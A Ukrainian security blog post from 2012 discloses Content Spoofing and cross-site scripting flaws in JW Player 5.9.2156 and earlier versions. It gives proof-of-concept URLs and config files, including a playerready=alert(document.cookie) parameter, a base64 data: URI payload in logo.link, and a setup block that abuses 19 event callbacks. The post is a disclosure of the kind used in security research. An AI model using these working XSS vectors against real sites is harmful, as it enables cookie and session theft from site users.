Content Spoofing та XSS уразливості в JW Player

17:24 06.06.2012

28.05.2012

У травні, 25.05.2012, під час пентесту, я виявив Content Spoofing та Cross-Site Scripting уразливості в JW Player. Про деякі з цих CS уразливостей мені відомо ще з 2008 року, коли вперше зіштовхнувся з цим відеоплеєром на флеші. Про що найближчим часом повідомлю розробникам флеш додатку.

Детальна інформація про уразливості з’явиться пізніше. Спочатку повідомлю розробникам.

06.06.2012

Content Spoofing:

В параметрі file можна вказати як відео, так і аудіо файли.

Можна вказувати абсолютні URL (в параметрах file та image) для включення зовнішніх файлів в флешку на цільовому сайті.

http://site/jwplayer.swf?file=1.flv&backcolor=0xFFFFFF&screencolor=0xFFFFFF
http://site/jwplayer.swf?file=1.flv&image=1.jpg

Через xml-файл, розміщений на поточному чи зовнішньому ресурсі, можна вказувати абсолютні URL (в параметрі config) для включення зовнішніх файлів в флешку на цільовому сайті (параметри file та image в xml-файлі приймають довільні адреси). Для завантаження файла конфігурації з зовнішнього сайта він повинен мати crossdomain.xml.

http://site/jwplayer.swf?config=1.xml

1.xml

<config>
  <file>1.flv</file>
  <image>1.jpg</image>
</config>

Через xml-файл, розміщений на поточному чи зовнішньому ресурсі, можна вказувати абсолютні URL (в параметрі playlistfile) для включення зовнішніх файлів в флешку на цільовому сайті (параметри media:content та media:thumbnail в xml-файлі приймають довільні адреси). Для завантаження файла плейліста з зовнішнього сайта він повинен мати crossdomain.xml.

http://site/jwplayer.swf?playlistfile=1.rss
http://site/jwplayer.swf?playlistfile=1.rss&playlist.position=right&playlist.size=200

1.rss

<rss version="2.0" xmlns:media="http://search.yahoo.com/mrss/">
  <channel>
    <title>Example playlist</title>
    <item>
      <title>Video #1</title>
      <description>First video.</description>
      <media:content url="1.flv" duration="5" />
      <media:thumbnail url="1.jpg" />
    </item>
    <item>
      <title>Video #2</title>
      <description>Second video.</description>
      <media:content url="2.flv" duration="5" />
      <media:thumbnail url="2.jpg" />
    </item>
  </channel>
</rss>

XSS:

http://site/jwplayer.swf?playerready=alert(document.cookie)

XSS:

Якщо на сайті на сторінці з jwplayer.swf (player.swf) є можливість включити (через HTML Injection) JS код з калбек функцією, а таких функцій всього 19, то можна провести XSS атаку. Тобто JS-калбеки можна використати для XSS атаки.

<script type="text/javascript" src="jwplayer.js"></script>
<div id="container">...</div>
<script type="text/javascript">
jwplayer("container").setup({
flashplayer: "jwplayer.swf",
file: "1.flv",
autostart: true,
height: 300,
width: 480,
events: {
onReady: function() { alert(document.cookie); },
onComplete: function() { alert(document.cookie); },
onBufferChange: function() { alert(document.cookie); },
onBufferFull: function() { alert(document.cookie); },
onError: function() { alert(document.cookie); },
onFullscreen: function() { alert(document.cookie); },
onMeta: function() { alert(document.cookie); },
onMute: function() { alert(document.cookie); },
onPlaylist: function() { alert(document.cookie); },
onPlaylistItem: function() { alert(document.cookie); },
onResize: function() { alert(document.cookie); },
onBeforePlay: function() { alert(document.cookie); },
onPlay: function() { alert(document.cookie); },
onPause: function() { alert(document.cookie); },
onBuffer: function() { alert(document.cookie); },
onSeek: function() { alert(document.cookie); },
onIdle: function() { alert(document.cookie); },
onTime: function() { alert(document.cookie); },
onVolume: function() { alert(document.cookie); }
}
});
</script>

В ліцензійних версіях плеєра є така функція, як логотип. Тому в ліцензійних версіях swf-файла також є наступні уразливості.

Content Spoofing:

http://site/jwplayer.swf?file=1.flv&logo.file=1.jpg&logo.link=http://websecurity.com.ua

XSS:

http://site/jwplayer.swf?file=1.flv&logo.file=1.jpg&logo.link=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B

Уразливі JW Player 5.9.2156 та попередні версії. А також всі веб додатки, що використовують дані версії JW Player, а це сотні веб додатків та мільйони сайтів в Інтернеті. Перша з наведених XSS уразливостей вже виправлена в версії 5.9.2206 (інші уразливості розробники планують виправити в наступній 6.0 версії). Лише деякі з цих уразливостей наявні в 3.x та попередніх версіях.

Swf-файли JW Player можуть мати різні імена, такі як jwplayer.swf та player.swf. За інформацією Google, існує близько 7709600 таких flash файлів в Інтернеті.

P.S.

Виправив код XSS в ліцензійний версії плеєра. Замість javascript: URI потрібно використовувати data: URI (перший варіант спрацьовував лише в старих версіях плеєра).


Leave a Reply

You must be logged in to post a comment.